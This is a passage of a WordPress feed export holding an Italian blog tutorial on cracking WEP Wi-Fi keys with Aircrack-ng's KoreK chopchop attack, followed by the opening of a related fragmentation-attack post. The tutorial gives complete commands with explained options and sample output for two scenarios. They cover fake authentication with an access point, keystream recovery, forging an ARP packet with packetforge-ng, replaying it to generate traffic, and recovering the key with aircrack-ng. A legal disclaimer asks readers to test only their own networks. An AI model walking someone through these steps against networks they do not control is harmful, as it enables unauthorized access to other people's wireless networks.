		<media:content url="http://carlitobrigante.files.wordpress.com/2008/01/cowpatty-genpmk-crack.jpg" medium="image">
			<media:title type="html">cowpatty-genpmk-crack.jpg</media:title>
		</media:content>

		<media:content url="http://carlitobrigante.files.wordpress.com/2008/01/airolib-stats.jpg" medium="image">
			<media:title type="html">airolib-stats.jpg</media:title>
		</media:content>

		<media:content url="http://carlitobrigante.files.wordpress.com/2008/01/airolib-stats02.jpg" medium="image">
			<media:title type="html">airolib-stats02.jpg</media:title>
		</media:content>

		<media:content url="http://carlitobrigante.files.wordpress.com/2008/01/airolib-stats03.jpg" medium="image">
			<media:title type="html">airolib-stats03.jpg</media:title>
		</media:content>
	</item>
		<item>
		<title>Aircrack-ng &#8211; WEP Cracking with KoreK chopchop attack</title>
		<link>http://carlitobrigante.wordpress.com/2008/01/03/wep-crack-with-korek-chopchop-attack/</link>
		<comments>http://carlitobrigante.wordpress.com/2008/01/03/wep-crack-with-korek-chopchop-attack/#comments</comments>
		<pubDate>Thu, 03 Jan 2008 12:56:46 +0000</pubDate>
		<dc:creator>PinguinoNinja</dc:creator>
				<category><![CDATA[/Radio-Network-Analisys]]></category>

		<guid isPermaLink="false">http://carlitobrigante.wordpress.com/2008/01/03/wep-crack-with-korek-chopchop-attack/</guid>
		<description><![CDATA[&#160;
&#160;


&#160;
Introduzione
&#160;
Rieccoci a parlare di WEP cracking , e questa volta lo faremo descrivendo l&#8217; attacco di tipo &#8220;KoreK chopchop&#8220;.
Come nel precedente tutorial non intendo prendermi nessun merito per quello che scriverò, tutto è stato già spiegato sul sito Aircrack-ng.org , in particolare nei tutorial di darkAudax, inoltre ricordatevi che penetrare in una rete wireless non [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=carlitobrigante.wordpress.com&blog=1680906&post=166&subd=carlitobrigante&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p align="center">&nbsp;</p>
<p align="center">&nbsp;</p>
<p align="right"><a href="http://carlitobrigante.wordpress.com/2008/01/03/wep-crack-with-korek-chopchop-attack/173/" rel="attachment wp-att-173" title="password_1.jpg"></a></p>
<div style="text-align:center;"><a href="http://carlitobrigante.wordpress.com/2008/01/03/wep-crack-with-korek-chopchop-attack/173/" rel="attachment wp-att-173" title="password_1.jpg"><img src="http://carlitobrigante.files.wordpress.com/2008/01/password_1.jpg?w=421&#038;h=111" alt="password_1.jpg" height="111" width="421" /></a></div>
<p align="center">&nbsp;</p>
<p align="center"><b><u>Introduzione</u></b></p>
<p align="center">&nbsp;</p>
<p>Rieccoci a parlare di <b>WEP cracking</b> , e questa volta lo faremo descrivendo l&#8217; attacco di tipo &#8220;<a href="http://www.aircrack-ng.org/doku.php?id=korek_chopchop" title="korek home @air"><b>KoreK chopchop</b></a>&#8220;.</p>
<p><i>Come nel precedente tutorial non intendo prendermi nessun merito per quello che scriverò, tutto è stato già spiegato sul sito <b><a href="www.aircrack-ng.org" target="_blank">Aircrack-ng.org</a></b> , in particolare nei tutorial di <b>darkAudax</b>, inoltre ricordatevi che penetrare in una rete wireless non di vostra proprietà è un reato, provate quanto descritto sulla vostra rete o su una rete dove avete i permessi per provare il tutorial. Non mi prendo nessuna responsabilità sull&#8217;uso che farete delle tecniche descritte. </i></p>
<p><i></i><br />
L&#8217;attacco &#8220;<b>KoreK chopchop</b>&#8221; è un attacco che non recupera la chiave <b>WEP</b> , ma il <b>keystream</b> necessario per creare un pacchetto da inniettare nella rete per creare il traffico necessario al cracking della chiave <b>WEP</b>. Inoltre rivela il <b>pacchetto WEP</b> da cui parte l&#8217;attacco in chiaro.</p>
<p>A volte capita di sperimentare l&#8217;attacco contro Access Point che &#8220;droppano&#8221; pacchetti inferiori ai <b>60 bytes</b> , in questo caso l&#8217;<i><b>attacco non funziona </b></i>perchè non riusciremo a generare il keystream; mentre se l&#8217; <b>AP</b> incomincia a rifiutare i pacchetti solo quando la dimensione è inferiore ai <b>42 bytes</b> (il mio souter ad esempio non accetta i pacchetti inferiori ai 37 bytes) possiamo provare l&#8217;attacco, infatti <b>Aireplay-ng</b> tenterà di &#8220;indovinare&#8221; la porzione di dati mancanti per quanto siano prevdedibili dall&#8217; header.</p>
<p>Nel caso in cui fosse catturato anche un pacchetto <b>IP</b> , &#8220;<b>Aireplay-ng</b>&#8221; controllerà che la porzione di pacchetto predetta sia corrretta analizzandone il <b>checksum</b> in corrispondenza al pacchetto <b>IP </b>catturato. Per ulteriori informazioni su come questo tipo di attacco funzioni vi rimando a questi due link:</p>
<p><i><a href="http://www.aircrack-ng.org/doku.php?id=chopchoptheory" title="chop teory">-<b> chopchoptheory -<br />
</b></a></i></p>
<p><i><a href="http://www.netstumbler.org/f50/chopchop-experimental-wep-attacks-12489/" title="chop2"><b>- chopchop -<br />
</b></a></i></p>
<div align="center"><b><u>Scenario</u></b></div>
<p>Affronteremo 2 tipi di scenari questa volta:</p>
<p><u>1° scenario:</u></p>
<p>Nel primo caso parleremo di come effettuare un attacco di questo tipo quando non vi sono client connessi via wireless.</p>
<p><u>2° scenario:</u></p>
<p>Nel secondo scenario descriveremo lo stesso metodo di cracking in una rete dove sono presenti anche client connessi via wireless.</p>
<div align="center"><u><b>[Requisiti]</b></u></div>
<p><u><i>I requisiti comuni sono:</i></u><br />
<b><br />
<font color="#ff0000"><u><i>Access Point</i></u></font><br />
MAC=00:0F:CC:xx:xx:xx<br />
Protezione=WEP<br />
ESSID=mare<br />
Channel=7<font color="#ff0000"></font></b></p>
<p><b><u><font color="#ff0000"><i>Attaccante</i></font></u><br />
MAC=00:02:6a:xx:xx:xx<br />
Driver=Madwifi-ng<br />
Aircrack-ng 1.0 beta1 r857 (funziona anche con l&#8217;utlima versione stabile)<br />
</b></p>
<p><u><i>Requisiti 1° scenario</i></u></p>
<p><b>Pacchetti dati in transito sull&#8217;AP</b></p>
<p><u><i>Requisiti 2° scenario</i></u></p>
<p><b><i><font color="#ff0000">Client connesso via wireless</font></i><br />
MAC=00:15:00:xx:xx:xx<br />
IP=192.168.1.33</b></p>
<div align="center"><u><b>[Svolgimento]</b></u></div>
<p>Per iniziare settiamo la nostra <b>interfaccia</b> di rete in <b>monitor mode</b> sulla stessa frequenza di trasmissione dell&#8217;AP.</p>
<p><i>Apriamo un terminale e digitiamo:</i></p>
<p><b>airmon-ng start wifi0 7</b></p>
<p><i>Il sistema risponderà:</i></p>
<p><code>-------------------------------------------------------------------------------------<br />
<b>Interface    Chipset         Driver</b><br />
<b>wifi0           Atheros         madwifi-ng<br />
ath0                  Atheros         madwifi-ng VAP (parent: wifi0) (monitor mode enabled)</b><br />
-------------------------------------------------------------------------------------</code></p>
<p>Controlliamo di avere la nostra scheda wireless settata in <b>monitor</b> <b>mode</b> sulla frequenza del canale dell&#8217;<b>AP</b> con il comando:</p>
<p>&#8212;&#8212;&#8211;<b><br />
iwconfig<br />
</b> &#8212;&#8212;&#8211;</p>
<p>riceveremo come output i parametri della nostra interfaccia wireless e verifichiamo che sia in &#8220;<b>monitor mode</b>&#8221; e che la frequenza corrisponda a quella di trasmissione del canale, per controllare che la frequenza sia giusta andate a <a href="http://www.rflinx.com/help/calculations/#2.4ghz_wifi_channels"><i><b>questa pagina</b></i></a>.<br />
Ora rimane da verificare se siamo abbastanza vicini all&#8217;<b>AP </b>per poter comunicare con esso.</p>
<p>Da terminale digitiamo:</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
<code><b> aireplay-ng -9 ath0</b></code><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>e controlliamo che la risposta del sistema confermi la possibilità di fare <b>injection</b> sull&#8217; <b>AP</b> <b>vittima</b>. Proseguiamo solo quando siamo sicuri che l&#8217;injection funzioni e che sia possibile comunicare con l&#8217;AP.</p>
<p>Adesso, come ultimo passo comune ai due scenari, avviamo Airodump-ng per catturare il traffico in transito sull&#8217;AP. Apriamo un terminale e digitiamo:</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
<b><code>airodump-ng --bssid 00:0F:CC:xx:xx:xx --channel 7 --write capture ath0</code></b><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>le opzioni che usiamo sono:<b><br />
&#8211;bssid 00:0F:CC:xx:xx:xx </b>filtra solo il traffico proveniente da questo AP<b><br />
&#8211;channel 7 </b>ci mettiamo in ascolto solo su questo canale (quello dall&#8217;AP)<b><br />
&#8211;write capture </b>salva il traffico catturato nel file specificato<b><br />
ath0</b> è la nostra interfaccia wireless in monitor mode</p>
<p>Lasciamo che Airodump-ng rimanga in funzione per tutta la durata del tutorial e analizziamone l&#8217;output, questo sarà differente a seconda dello scenario.</p>
<p align="center"><b>[Scenario 1]</b></p>
<p>Nell&#8217;output di Airodump-ng noteremo che non sarà presente nessun client wireless connesso.</p>
<p><a href="http://carlitobrigante.wordpress.com/2008/01/03/wep-crack-with-korek-chopchop-attack/177/" rel="attachment wp-att-177" title="airodump-noclient.png"><br />
</a></p>
<p><a href="http://carlitobrigante.files.wordpress.com/2008/01/airodump-noclient.png" title="airodump-noclient.png"><img src="http://carlitobrigante.files.wordpress.com/2008/01/airodump-noclient.png?w=560&#038;h=235" alt="airodump-noclient.png" height="235" width="560" /></a></p>
<p align="center"><i>(cliccate sull&#8217;immagine per ingrandirla)</i></p>
<p>Controlliamo che vi sia del traffico sull&#8217;AP nella colonna &#8220;Data&#8221;, senza traffico non possiamo effettuare nessun tipo di cracking della chiave WEP.</p>
<p>Adesso procediamo con lo svolgere una falsa autenticazione con l&#8217;AP; questa andrà a buon fine solo nel caso in cui l&#8217;AP accolga ogni richiesta di associazione, cioè che usi un metodo di autenticazione di tipo &#8220;OPEN&#8221;, nel caso usi l&#8217;autenticazione tramite &#8220;Pre Shared Key&#8221; il tentativo di falsa autenticazione non andrà a buon fine ma non vi preoccupate che in uno dei prossimi tutorial tratteremo anche questo argomento.</p>
<p>Useremo Aireplay-ng per tentare l&#8217;autenticazione con l&#8217;AP. Quindi apriamo un terminale e lanciamo &#8220;Aireplay-ng&#8221;:</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
<b><code>aireplay-ng -1 0 -e test -a 00:0F:CC:xx:xx:xx -h 00:02:6a:xx:xx:xx ath0</code></b><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>le opzioni usate significano:<br />
-<b>1</b> 0 è l&#8217;opzione che specifica una falsa autenticazione<br />
<b> -e </b>test specifica l&#8217;ESSID dell&#8217;AP vittima<br />
<b> -a </b><b><code>00:0F:CC:xx:xx:xx</code></b> è il MAC dell&#8217;AP<br />
<b> -h </b><b><code>00:02:6a:xx:xx:xx</code></b><b> </b>è il MAC address usato della nostra scheda<br />
<b> ath0 </b>è la nostra interfaccia wireless</p>
<p>Se l&#8217;operazione avrà successo otterremo come output nella shell di &#8220;Aireplay-ng&#8221;:</p>
<p><b><code>--------------------------------------------------------------------------<br />
16:21:57  Waiting for beacon frame (BSSID: 00:0F:CC:xx:xx:xx) on channel 7</code></b></p>
<p><b>16:21:57  Sending Authentication Request (Open System) [ACK]<br />
16:21:57  Authentication successful<br />
16:21:57  Sending Association Request [ACK]<br />
16:21:57  Association successful <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</b></p>
<p>Se non dovessimo fidarci di &#8220;Aireplay-ng&#8221; possiamo verificare che l&#8217;autenticazione sia riuscita usando &#8220;TCPdump&#8221;, lanciato prima di &#8220;Aireplay-ng&#8221; possiamo usarlo per controllare che ci siano tutti e 4 i pacchetti necessari per l&#8217;handshake dell&#8217;autenticazione WEP. Quidni se vlogliamo prima di &#8220;Aireplay-ng&#8221; apriamo un&#8217;altro terminale e lanciamo &#8220;TCPdump&#8221; con il comando:</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
<b><code>tcpdump -n -vvv -s0 -e -i ath0 | grep -i -E "(RA:00:20:6a:xx:xx:xx|Authentication|ssoc)"</code></b><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>Notate che ho inserito il MAC della nostra interfaccia wireless con la qualestimao tentando una falsa autenticazione. Quindi lanciamo &#8220;Aireplay-ng&#8221; con il comando descritto prima e controlliamo che appaiano nel terminale di &#8220;TCPdump&#8221; i 4 pacchetti necessari per l&#8217;autenticazione con l&#8217;AP, 2 di autenticazione e 2 di associazione. Questo passaggio non è fondamentale al cracking della chiave WEP ma è ottimo per capire come funzioni un&#8217;autenticazione WEP.</p>
<p>Torniamo al tutorial sull&#8217;attacco &#8220;<b>KoreK chopchop</b>&#8220;.</p>
<p>Una volta autenticati, sempre con &#8220;Aireplay-ng&#8221;, inziamo con l&#8217;attacco al protocollo WEP vero e proprio. Da terminale digitiamo:</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
<b><code>aireplay-ng -4 -h 00:20:6a:xx:xx:xx -b 00:0F:CC:xx:xx:xx ath0</code></b><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>dove le opzioni usate significano:</p>
<p><b>-4</b> indica il tipo di attacco, in questo caso il &#8220;KoreK chopchop&#8221;<br />
<b>-h 00:02:6a:xx:xx:xx</b> è l&#8217;indirizzo MAC usato in fase di fake auth<br />
<b>-b 00:0F:CC:xx:xx:xx</b> è l&#8217;indirizzo MAC dell&#8217;AP<br />
<b>ath0</b> è la nostra interfaccia di rete</p>
<p>In sostanza questo specifica all&#8217;attacco che tutti i pacchetti che verranno inviati da &#8220;Aireplay-ng&#8221; per determinare il keystream di un pacchetto WEP saranno inviati avendo per source MAC quello specificato dall&#8217;opzione &#8220;-h&#8221;, ovviamente questo è il MAC con il quale ci siamo autenticati con l&#8217;AP, altrimenti, come al solito, i pacchetti che invieremo saranno respinti dall&#8217;AP poiché non ne riconosce la provenienza. L&#8217;output del terminale sarà:</p>
<p><a href="http://carlitobrigante.files.wordpress.com/2008/01/aireplay-noclient.png" title="aireplay-noclient.png"><img src="http://carlitobrigante.files.wordpress.com/2008/01/aireplay-noclient.png?w=579&#038;h=241" alt="aireplay-noclient.png" height="241" width="579" /></a></p>
<p>quindi controlliamo che la dimensione del pacchetto catturato sia superiore ai 68 bytes (altrimenti potremmo non avere abbastanza porzione di PRGA per generare il keystream, generalmente più grande è il pacchetto e meglio è, perchè cosi abbiamo più dati a disposizione da elaborare e le probabilità di successo aumentano) e rispondiamo positivamente con la lettera &#8220;y&#8221; quindi lasciamo che l&#8217;attacco svolga il suo corso (provate a guardare cosa succede durante l&#8217;attacco analizzando la finestra di <b>Airodump-ng</b>). Ricordate che non vi sono client connessi via wireless, quindi questo pacchetto proverrà da una macchina connessa via cavo o dall&#8217; AP, nel caso provenga dall&#8217;AP troveremo il flag &#8220;FromDS&#8221; settato a 1 altrimenti, se proviene da un client connesso via cavo, il flag impostato a 1 è quello &#8220;ToDS&#8221;.<br />
Una volta terminato vi troverete 3 file nuovi:</p>
<p>1° il pacchetto catturato all&#8217;inizio dal quale parte l&#8217;attacco<br />
1° un pacchetto &#8220;.xor&#8221; contenente l&#8217;intero keystream<br />
1° un pacchetto WEP in chiaro</p>
<p>Il pacchetto &#8220;.xor&#8221; è quello che useremo per creare la richiesta ARP da inietare nella rete per generare i pacchetti che invieremo al fine di generare del traffico utile al cracking della chiave WEP.<br />
Da terminale adesso usiamo &#8220;Packetforge-ng&#8221; per creare il pacchetto da iniettare, digitiamo:</p>
<p><code>------------------------------------------------------------------------------------------------------------------------------------------------<br />
<b> packetforge-ng -0 -a 00:0F:CC:xx:xx:xx -h 00:02:6a:xx:xx:xx -k 255.255.255.255 -l 255.255.255.255 -y replay_dec-1226-162902.xor -w ARPPacket.cap</b><br />
------------------------------------------------------------------------------------------------------------------------------------------------</code></p>
<p>e le opzioni in questo caso significano:</p>
<p><b>-0 </b>significa che vogliamo creare un pacchetto ARP<br />
<b> -a</b> <b>00:0F:CC:xx:xx:xx</b> è il MAC dell&#8217;AP<br />
<b> -h 00:02:6a:xx:xx:xx</b> è il MAC usato in fase di fake-auth<br />
<b> -k</b> <b>255.255.255.255</b> è l&#8217;indirizzo IP di destinazione<br />
<b> -l 255.255.255.255</b> è l&#8217;indirizzo IP sorgente<br />
<b> -y</b> <b>replay_dec-1226-162902.xor</b> è il file contente il keystream<br />
<b> -w ARPPacket.cap</b> è il nome del file di output</p>
<p>Prima di procedere sottoliniamo una cosa:</p>
<p>Gli indirizzi specificati dai parametri &#8220;-k&#8221; e &#8220;-l&#8221;, entrambi 255.255.255.255, vanno bene per molti AP, quindi nella maggior parte dei casi, se non in tutti i casi che vi si proporranno, il lavoro di creazione del pacchetto ARP può essere limitato a quello descritto sopra, ma tenete conto che tramite l&#8217;analisi del pacchetto in chiaro creato dall&#8217;attacco &#8220;chopchop&#8221; possiamo risalire all&#8217;indirizzo IP della macchina connessa via cavo, ovviamente tutto ciò è  possibile solo nel caso riuscissimo ad ottenere un pacchetto diretto o proveniente da essa. Usando l&#8217;IP della macchina connessa via cavo e un IP non assegnato nella LAN (provate con 10.255.255.255) nei parametri &#8220;-k&#8221; e &#8220;-l&#8221; forzeremo l&#8217;AP a generare 2 pacchetti per ogni pacchetto che iniettiamo nella rete, questa tecnica è descritta tra i tutorial di <a href="http://www.aircrack-ng.org" target="_blank">Aircrack-ng.org</a> e si tratta di &#8220;ARP amplification&#8221;; in pratica si riduce drasticamente il tempo che impieghiamo per sniffare i pacchetti dati WEP che usiamo per il cracking della chiave. <i>Descriverò questa tecnica in un prossimo tutorial.</i></p>
<p>Da qui in poi i tutorial coincidono, quindi saltate direttamente alle fasi conclusive di questo documento se non siete interessati a sapere come comportarvi nel caso in cui ci sia un client connesso via wireless.</p>
<p align="center"><b>[Scenario 2]</b></p>
<p>In questo caso nell&#8217;output di airodump-ng noteremo che c&#8217;è un client connesso via wireless</p>
<p><a href="http://carlitobrigante.files.wordpress.com/2008/01/airodump-client.png" title="airodump-client.png"><img src="http://carlitobrigante.files.wordpress.com/2008/01/airodump-client.png?w=565&#038;h=238" alt="airodump-client.png" height="238" width="565" /></a></p>
<p>Quindi se state eseguendo questo tutorial con una scheda wireless che monta un chipset della Atheros dovete stoppare la scheda e cambiare il MAC della stessa in modo che coincida con quello del client associato, poiché altrimenti il driver madwifi-ng non funzionano, reimpostare la scheda in monitor mode sul canale di trasmissione dell&#8217;AP e rilanciare &#8220;Airodump-ng&#8221; come descritto sopra.<br />
Notate che nel caso ci fosse un client connesso via wireless non occorre nesun tipo di falsa autenticazione, sfrutteremo il client già connesso per portare a termine l&#8217;attacco.</p>
<p>Adesso usiamo &#8220;Aireplay-ng&#8221; per iniziare l&#8217;attacco:</p>
<p><code>----------------------------------------<br />
<b> aireplay-ng -4 -h 00:15:00:xx:xx:xx ath0</b><br />
----------------------------------------</code></p>
<p>le opzioni usate significano:</p>
<p><b>-4</b> indica il l&#8217;attacco &#8220;KoreK chopchop&#8221;<br />
<b> -h 00:15:00:xx:xx:xx </b>è il MAC del client target<br />
<b> -ath0</b> è la nostra interfaccia di rete</p>
<p>Ecco un esempio di output:</p>
<p><a href="http://carlitobrigante.files.wordpress.com/2008/01/aireplay-client.png" title="aireplay-client.png"><img src="http://carlitobrigante.files.wordpress.com/2008/01/aireplay-client.png?w=481&#038;h=237" alt="aireplay-client.png" height="237" width="481" /></a></p>
<p>Rispondiamo positivamente alla scelta del pacchetto controllando che la dimensione dello stesso sia uguale o superiore agli 86 byte, anche in questo caso più grande è il pacchetto e meglio è , anche se più è grande il pacchetto e maggiore sarà il tempo richiesto per conseguire l&#8217;attacco, altrimenti premiamo &#8220;n&#8221; e aspettiamo che ci capiti un pacchetto migliore con il quale lavorare. Controllate che il pacchetto provenga dal client wireless associato, ci servirà per determinarne l&#8217;indirizzo IP.<br />
Scelto il pacchetto non ci resta che aspettare che l&#8217;attacco svolga il suo corso. Alla fine ci troveremo con 3 file nuovi:</p>
<p>1 è il pacchetto catturato all&#8217;inizio dal quale parte l&#8217;attacco<br />
1 è un pacchetto &#8220;.<b>xor</b>&#8221; contenente l&#8217;intero keystream<br />
1 è un pacchetto WEP in chiaro</p>
<p>Quindi usiamo &#8220;<b>Wireshark</b>&#8221; o <b>&#8220;TCPdump&#8221;</b> per ottenere l&#8217;indirizzo IP del client connesso via wireless analizzando il pacchetto WEP in chiaro. Potrebbe essere necessario fare più di un tentativo primo di trovare un pacchetto che contenga l&#8217;IP del client connesso via wireless, quindi se non riuscite al primo colpo riprovate.</p>
<p>Adesso andiamo a creare il pacchetto <b>ARP</b> usando &#8220;<b>Packetforge-ng</b>&#8220;:</p>
<p><code>--------------------------------------------------------------------------------------------------------------------------------------------<br />
<b> packetforge-ng -0 -a 00:0F:CC:xx:xx:xx -h 00:15:00:xx:xx:xx -k 192.168.1.33 -l 10.255.255.255 -y replay_dec-1226-173127.xor -w ARPPacket.cap</b><br />
--------------------------------------------------------------------------------------------------------------------------------------------</code></p>
<p>dove:</p>
<p><b>-0</b> indica che vogliamo creare un pacchetto ARP<br />
<b> -a 00:0F:CC:xx:xx:xx </b>specifica il MAC dell&#8217;AP<br />
<b> -h 00:15:00:xx:xx:xx</b> è l&#8217;indirizzo a cui è destinato il pacchetto<br />
<b> -k 192.168.1.33 </b>è l&#8217;IP del client target<br />
<b> -l 10.255.255.255 </b>è l&#8217;indirizzo IP sorgente, deve essere un indirizzo NON assegnato, in genere <b>10.255.255.255 </b>funziona<br />
<b> -y replay_dec-1226-173127.xor</b> è il ile contenete il keystream creato da &#8220;Aireplay-ng&#8221; precedentemente<br />
<b> -w ARPPacket.cap</b> è il file di output</p>
<p>Cosi facendo abbiamo creato un pacchetto ARP indirizzato al client connesso via wireless, inoltre se controllate con &#8220;Wireshark&#8221; il file &#8220;capture&#8221; generato da &#8220;Airodump-ng&#8221;, noterete che in questo modo costringeremo l&#8217;AP a generare 3 pacchetti per ogni nostro pacchetto inviato, questa è una tecnica di &#8220;ARP amplification&#8221;.</p>
<p align="center"><b>[Fase finale]</b></p>
<p>A questo punto non ci resta che usare &#8220;Aireplay-ng&#8221; per iniettare il pacchetto creato nella rete:</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
<b><code>aireplay-ng -2 -r ARPPacket.cap ath0</code></b><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>dove:</p>
<p><b>-2 </b>indica il tipo di attacco interattivo, ci permette di scegliere il file da usare<br />
<b> -r ARPPAcket.cap</b> specifica il file che abbiamo intenzione di usare<br />
<b> ath0 </b>è la nostra interfaccia di rete</p>
<p>Raggiunto il numero di pacchetti necessari per il cracking della chiave usiamo &#8220;Aircrack-ng&#8221; per recuperarla:</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<b><br />
<code>aircrack-ng -z -b 00:0F:CC:xx:xx:xx capture*.cap</code></b><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>dove le opzioni significano:</p>
<p><b>-z</b> il tipo di attacco PTW<br />
<b> -b</b> <b>00:0F:CC:B4:08:48</b> è il MAC dell&#8217;AP<br />
<b> capture*.cap</b> è il file dove &#8220;Airodump-ng&#8221; sta salvando il traffico sniffato.</p>
<p align="center"><u><b><i>Tenete presente che con circa 100000 pacchetti dovreste essere in grado di recuperare una chiave WEP da 128 bit senza difficoltà.</i></b></u></p>
<p>Spero di esservi stato utile.</p>
<p>Ciauz,</p>
<p>PinguinoNinja</p>
<img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/carlitobrigante.wordpress.com/166/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/carlitobrigante.wordpress.com/166/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/carlitobrigante.wordpress.com/166/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/carlitobrigante.wordpress.com/166/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/carlitobrigante.wordpress.com/166/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/carlitobrigante.wordpress.com/166/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/carlitobrigante.wordpress.com/166/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/carlitobrigante.wordpress.com/166/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/carlitobrigante.wordpress.com/166/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/carlitobrigante.wordpress.com/166/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/carlitobrigante.wordpress.com/166/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/carlitobrigante.wordpress.com/166/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=carlitobrigante.wordpress.com&blog=1680906&post=166&subd=carlitobrigante&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://carlitobrigante.wordpress.com/2008/01/03/wep-crack-with-korek-chopchop-attack/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">PinguinoNinja</media:title>
		</media:content>

		<media:content url="http://carlitobrigante.files.wordpress.com/2008/01/password_1.jpg" medium="image">
			<media:title type="html">password_1.jpg</media:title>
		</media:content>

		<media:content url="http://carlitobrigante.files.wordpress.com/2008/01/airodump-noclient.png" medium="image">
			<media:title type="html">airodump-noclient.png</media:title>
		</media:content>

		<media:content url="http://carlitobrigante.files.wordpress.com/2008/01/aireplay-noclient.png" medium="image">
			<media:title type="html">aireplay-noclient.png</media:title>
		</media:content>

		<media:content url="http://carlitobrigante.files.wordpress.com/2008/01/airodump-client.png" medium="image">
			<media:title type="html">airodump-client.png</media:title>
		</media:content>

		<media:content url="http://carlitobrigante.files.wordpress.com/2008/01/aireplay-client.png" medium="image">
			<media:title type="html">aireplay-client.png</media:title>
		</media:content>
	</item>
		<item>
		<title>Aircrack-ng &#8211; WEP Cracking with Fragmentation Attack</title>
		<link>http://carlitobrigante.wordpress.com/2007/12/08/cracking-wep-with-fragmentation-attack/</link>
		<comments>http://carlitobrigante.wordpress.com/2007/12/08/cracking-wep-with-fragmentation-attack/#comments</comments>
		<pubDate>Sat, 08 Dec 2007 21:11:58 +0000</pubDate>
		<dc:creator>PinguinoNinja</dc:creator>
				<category><![CDATA[/Radio-Network-Analisys]]></category>

		<guid isPermaLink="false">http://carlitobrigante.wordpress.com/2007/12/08/cracking-wep-with-fragmentation-attack/</guid>
		<description><![CDATA[Con quest&#8217; articolo dò il benvenuto nel mio piccolo ma impegnato e rispettoso staff a PinguinoNinja , lui non riteneva necessaria la pubblicazione dell&#8217; How-To.. , ma io sì , e con questo tutorial glì dò quindi il mio benvenuto!          brigante~
Quest&#8217; How-To lo potete scaricare se [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=carlitobrigante.wordpress.com&blog=1680906&post=156&subd=carlitobrigante&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p><i>Con quest&#8217; articolo dò il benvenuto nel mio piccolo ma impegnato e rispettoso staff a <span style="font-weight:bold;">PinguinoNinja </span>, lui non riteneva necessaria la pubblicazione dell&#8217; How-To.. , ma io sì , e con questo tutorial glì dò quindi il mio benvenuto!  </i>        <u><font color="#999999"><i><b>brigante~</b></i></font></u></p>
<p>Quest&#8217; How-To lo potete scaricare se volete anche dal Box , in cui lo troverete in<span style="font-weight:bold;"> *.pdf.</span>&#8230;.buona lettura.</p>
<p><a href="http://carlitobrigante.files.wordpress.com/2007/12/cracking-wep.png" title="cracking-wep.png"></a></p>
